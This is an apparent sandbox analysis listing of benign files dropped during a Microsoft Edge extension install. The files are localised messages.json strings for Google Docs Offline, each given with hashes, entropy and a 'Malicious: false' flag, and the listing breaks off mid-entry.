SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
